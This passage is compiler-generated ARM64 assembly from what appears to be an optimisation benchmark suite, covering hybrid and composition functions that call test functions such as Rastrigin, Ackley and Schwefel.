add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L291:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L292
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L293
.L294:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L293:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L294
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl hgbat_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl katsuura_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl ackley_func
mov w0, 3
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rastrigin_func
mov w0, 4
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl schwefel_func
mov w0, 5
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 152
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 128
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl schaffer_F7_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L295
.L296:
ldr x0, [sp, 64]
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 152
ldr d0, [x1, x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L295:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L296
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 248]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L297
bl __stack_chk_fail
.L297:
ldp x29, x30, [sp], 256
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE39:
.size hf10, .-hf10
.section .rodata
.align 3
.LC6:
.word -1717986918
.word 1069128089
.word -1717986918
.word 1069128089
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.text
.align 2
.global cf01
.type cf01, %function
cf01:
.LFB40:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
mov w0, 3
str w0, [sp, 72]
adrp x0, .LC7
add x0, x0, :lo12:.LC7
add x2, sp, 104
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
adrp x0, .LC8
add x0, x0, :lo12:.LC8
add x2, sp, 128
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
str wzr, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rosenbrock_func
mov w0, 1
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl ellips_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
adrp x0, .LC42
ldr d1, [x0, #:lo12:.LC42]
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 2
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rastrigin_func
add x2, sp, 80
add x1, sp, 128
add x0, sp, 104
ldr w7, [sp, 72]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 152]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L299
bl __stack_chk_fail
.L299:
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE40:
.size cf01, .-cf01
.section .rodata
.align 3
.LC7:
.word 0
.word 1076101120
.word 0
.word 1077149696
.word 0
.word 1077805056
.align 3
.LC8:
.word 0
.word 0
.word 0
.word 1079574528
.word 0
.word 1080623104
.text
.align 2
.global cf02
.type cf02, %function
cf02:
.LFB41:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
mov w0, 3
str w0, [sp, 72]
adrp x0, .LC7
add x0, x0, :lo12:.LC7
add x2, sp, 104
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
adrp x0, .LC8
add x0, x0, :lo12:.LC8
add x2, sp, 128
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
str wzr, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rastrigin_func
mov w0, 1
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl griewank_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 2
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl schwefel_func
add x2, sp, 80
add x1, sp, 128
add x0, sp, 104
ldr w7, [sp, 72]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 152]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L301
bl __stack_chk_fail
.L301:
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE41:
.size cf02, .-cf02
.align 2
.global cf03
.type cf03, %function
cf03:
.LFB42:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 168]
mov x1, 0
mov w0, 4
str w0, [sp, 64]
add x0, sp, 184
sub x0, x0, #80
adrp x1, .LC9
add x1, x1, :lo12:.LC9
ld1 {v0.16b - v1.16b}, [x1]
st1 {v0.16b - v1.16b}, [x0]
add x0, sp, 184
sub x0, x0, #48
adrp x1, .LC10
add x1, x1, :lo12:.LC10
ld1 {v0.16b - v1.16b}, [x1]
st1 {v0.16b - v1.16b}, [x0]
str wzr, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rosenbrock_func
mov w0, 1
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl ackley_func
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
ldr d0, [x0, x1, lsl 3]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
str d0, [x0, x1, lsl 3]
mov w0, 2
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl schwefel_func
mov w0, 3
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rastrigin_func
add x2, sp, 72
add x1, sp, 136
add x0, sp, 104
ldr w7, [sp, 64]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 168]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L303
bl __stack_chk_fail
.L303:
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE42:
.size cf03, .-cf03
.section .rodata
.align 3
.LC9:
.word 0
.word 1076101120
.word 0
.word 1077149696
.word 0
.word 1077805056
.word 0
.word 1078198272
.align 3
.LC10:
.word 0
.word 0
.word 0
.word 1079574528
.word 0
.word 1080623104
.word 0
.word 1081262080
.text
.align 2
.global cf04
.type cf04, %function
cf04:
.LFB43:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 168]
mov x1, 0
mov w0, 4
str w0, [sp, 64]
add x0, sp, 184
sub x0, x0, #80
adrp x1, .LC9
add x1, x1, :lo12:.LC9
ld1 {v0.16b - v1.16b}, [x1]
st1 {v0.16b - v1.16b}, [x0]
add x0, sp, 184
sub x0, x0, #48
adrp x1, .LC10
add x1, x1, :lo12:.LC10
ld1 {v0.16b - v1.16b}, [x1]
st1 {v0.16b - v1.16b}, [x0]
str wzr, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl ackley_func
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
ldr d0, [x0, x1, lsl 3]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
str d0, [x0, x1, lsl 3]
mov w0, 1
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl ellips_func
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
ldr d0, [x0, x1, lsl 3]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
adrp x0, .LC42
ldr d1, [x0, #:lo12:.LC42]
fdiv d0, d0, d1
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
str d0, [x0, x1, lsl 3]
mov w0, 2
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl griewank_func
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
ldr d0, [x0, x1, lsl 3]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
add x0, sp, 184
sub x0, x0, #112
ldrsw x1, [sp, 68]
str d0, [x0, x1, lsl 3]
mov w0, 3
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rastrigin_func
add x2, sp, 72
add x1, sp, 136
add x0, sp, 104
ldr w7, [sp, 64]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 168]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L305
bl __stack_chk_fail
.L305:
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE43:
.size cf04, .-cf04
.align 2
.global cf05
.type cf05, %function
cf05:
.LFB44:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
mov w0, 5
str w0, [sp, 72]
adrp x0, .LC11
add x1, x0, :lo12:.LC11
add x0, sp, 120
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
adrp x0, .LC12
add x1, x0, :lo12:.LC12
add x0, sp, 160
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
str wzr, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rastrigin_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 1
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl happycat_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 2
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl ackley_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 3
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl discus_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
